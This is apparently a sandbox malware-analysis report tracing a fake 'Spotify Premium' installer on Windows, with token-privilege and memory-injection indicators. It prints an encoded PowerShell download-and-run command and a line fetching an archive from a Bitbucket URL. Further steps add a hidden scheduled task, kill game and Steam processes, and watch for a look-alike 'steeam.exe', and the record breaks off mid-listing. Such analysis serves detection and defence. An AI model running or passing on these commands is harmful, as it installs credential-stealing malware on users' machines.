Token: SeDebugPrivilege	4544	msiexec.exe
Token: SeAuditPrivilege	4544	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4544	msiexec.exe
Token: SeChangeNotifyPrivilege	4544	msiexec.exe
Token: SeRemoteShutdownPrivilege	4544	msiexec.exe
Token: SeUndockPrivilege	4544	msiexec.exe
Token: SeSyncAgentPrivilege	4544	msiexec.exe
Token: SeEnableDelegationPrivilege	4544	msiexec.exe
Token: SeManageVolumePrivilege	4544	msiexec.exe
Token: SeImpersonatePrivilege	4544	msiexec.exe
Token: SeCreateGlobalPrivilege	4544	msiexec.exe
Token: SeAuditPrivilege	2276	svchost.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeRestorePrivilege	4088	msiexec.exe
Token: SeTakeOwnershipPrivilege	4088	msiexec.exe
Token: SeDebugPrivilege	1856	tasklist.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 4868	3340	Installer.exe	80
PID 3340 wrote to memory of 4868	3340	Installer.exe	80
PID 4868 wrote to memory of 3108	4868	powershell.exe	88
PID 4868 wrote to memory of 3108	4868	powershell.exe	88
PID 4868 wrote to memory of 3108	4868	powershell.exe	88
PID 4868 wrote to memory of 3376	4868	powershell.exe	89
PID 4868 wrote to memory of 3376	4868	powershell.exe	89
PID 4868 wrote to memory of 3376	4868	powershell.exe	89
PID 4868 wrote to memory of 332	4868	powershell.exe	90
PID 4868 wrote to memory of 332	4868	powershell.exe	90
PID 4868 wrote to memory of 4688	4868	powershell.exe	91
PID 4868 wrote to memory of 4688	4868	powershell.exe	91
PID 4868 wrote to memory of 4688	4868	powershell.exe	91
PID 3108 wrote to memory of 1440	3108	a45d23ip.c3c0.exe	92
PID 3108 wrote to memory of 1440	3108	a45d23ip.c3c0.exe	92
PID 4688 wrote to memory of 3012	4688	a45d23ip.c3c3.exe	94
PID 4688 wrote to memory of 3012	4688	a45d23ip.c3c3.exe	94
PID 1440 wrote to memory of 4312	1440	cmd.exe	98
PID 1440 wrote to memory of 4312	1440	cmd.exe	98
PID 3012 wrote to memory of 844	3012	cmd.exe	99
PID 3012 wrote to memory of 844	3012	cmd.exe	99
PID 3012 wrote to memory of 3124	3012	cmd.exe	100
PID 3012 wrote to memory of 3124	3012	cmd.exe	100
PID 1440 wrote to memory of 3040	1440	cmd.exe	101
PID 1440 wrote to memory of 3040	1440	cmd.exe	101
PID 1440 wrote to memory of 4760	1440	cmd.exe	102
PID 1440 wrote to memory of 4760	1440	cmd.exe	102
PID 1440 wrote to memory of 5012	1440	cmd.exe	103
PID 1440 wrote to memory of 5012	1440	cmd.exe	103
PID 1440 wrote to memory of 1716	1440	cmd.exe	104
PID 1440 wrote to memory of 1716	1440	cmd.exe	104
PID 1440 wrote to memory of 1732	1440	cmd.exe	105
PID 1440 wrote to memory of 1732	1440	cmd.exe	105
PID 1440 wrote to memory of 3472	1440	cmd.exe	106
PID 1440 wrote to memory of 3472	1440	cmd.exe	106
PID 3472 wrote to memory of 2180	3472	cmd.exe	107
PID 3472 wrote to memory of 2180	3472	cmd.exe	107
PID 1440 wrote to memory of 2440	1440	cmd.exe	108
PID 1440 wrote to memory of 2440	1440	cmd.exe	108
PID 2440 wrote to memory of 1364	2440	cmd.exe	109
PID 2440 wrote to memory of 1364	2440	cmd.exe	109
PID 1440 wrote to memory of 1124	1440	cmd.exe	110
PID 1440 wrote to memory of 1124	1440	cmd.exe	110
PID 3376 wrote to memory of 3924	3376	a45d23ip.c3c1.exe	111
PID 3376 wrote to memory of 3924	3376	a45d23ip.c3c1.exe	111
PID 3376 wrote to memory of 3924	3376	a45d23ip.c3c1.exe	111
PID 3376 wrote to memory of 3924	3376	a45d23ip.c3c1.exe	111
PID 3376 wrote to memory of 3924	3376	a45d23ip.c3c1.exe	111
PID 3900 wrote to memory of 3528	3900	cmd.exe	119
PID 3900 wrote to memory of 3528	3900	cmd.exe	119
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 332 wrote to memory of 4340	332	a45d23ip.c3c2.exe	133
PID 4340 wrote to memory of 640	4340	dialer.exe	5
PID 4340 wrote to memory of 688	4340	dialer.exe	7
PID 4340 wrote to memory of 1000	4340	dialer.exe	12
PID 4340 wrote to memory of 464	4340	dialer.exe	13
PID 4340 wrote to memory of 756	4340	dialer.exe	14
PID 4340 wrote to memory of 900	4340	dialer.exe	15
PID 688 wrote to memory of 2640	688	lsass.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:464

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1836
- - C:\Windows\SysWOW64\openwith.exe
    "C:\Windows\system32\openwith.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1840

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2624

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2084

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:392

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
PID:3292
- C:\Users\Admin\AppData\Local\Temp\Spotify Premium\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Spotify Premium\Installer.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Users\Admin\AppData\Roaming\a45d23ip.c3c0.exe
      "C:\Users\Admin\AppData\Roaming\a45d23ip.c3c0.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3108
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\691A.tmp\691B.tmp\691C.bat C:\Users\Admin\AppData\Roaming\a45d23ip.c3c0.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1440
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:708
      - C:\Windows\system32\chcp.com
        
        chcp 1251
        6⤵
        
        PID:4312
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:3040
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:4760
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        6⤵
        
        PID:5012
      - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        6⤵
        
        PID:1716
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1732
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3472
        
        C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        7⤵
        
        PID:2180
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2440
        
        C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        7⤵
        
        PID:1364
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/pan.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1124
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1856
      - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        6⤵
        
        PID:3432
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        6⤵
        Kills process with taskkill
        
        PID:3472
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:668
      - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        6⤵
        
        PID:4612
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        6⤵
        Kills process with taskkill
        
        PID:4748
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2904
      - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        6⤵
        
        PID:2040
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        6⤵
        Kills process with taskkill
        
        PID:4300
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3068
      - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        6⤵
        
        PID:5112
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        6⤵
        Kills process with taskkill
        
        PID:4416
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2732
      - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        6⤵
        
        PID:1412
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        6⤵
        Kills process with taskkill
        
        PID:616
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4416
      - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        6⤵
        
        PID:5028
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        6⤵
        Kills process with taskkill
        
        PID:2288
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2904
      - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        6⤵
        
        PID:1604
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        6⤵
        Kills process with taskkill
        
        PID:3760
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        6⤵
        
        PID:3548
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:1468
      - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        6⤵
        
        PID:3628
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        6⤵
        Kills process with taskkill
        
        PID:4184
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        6⤵
        Delays execution with timeout.exe
        
        PID:2952
      - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        6⤵
        
        PID:2224
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4900
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2480
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:648
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:2024
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4752
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4608
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2400
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4432
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:668
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2008
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3360
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3112
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3472
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1536
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:648
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2396
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:3032
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1032
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4860
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2908
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1780
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:772
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:2460
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:3876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2268
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3308
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4872
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2332
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4172
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3608
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4924
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4696
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1540
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3516
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3684
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2044
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4568
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4612
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4864
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4728
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4416
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:2980
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:1568
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2400
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1772
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:3476
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:772
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2336
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:2744
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4896
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3032
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        
        PID:1480
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:1536
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:4900
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:4168
      - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        6⤵
        Delays execution with timeout.exe
        
        PID:2024
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
        6⤵
        
        PID:4800
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
        7⤵
        
        PID:1384
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /v "^$"
        7⤵
        
        PID:3428
      - C:\Windows\system32\timeout.exe
        
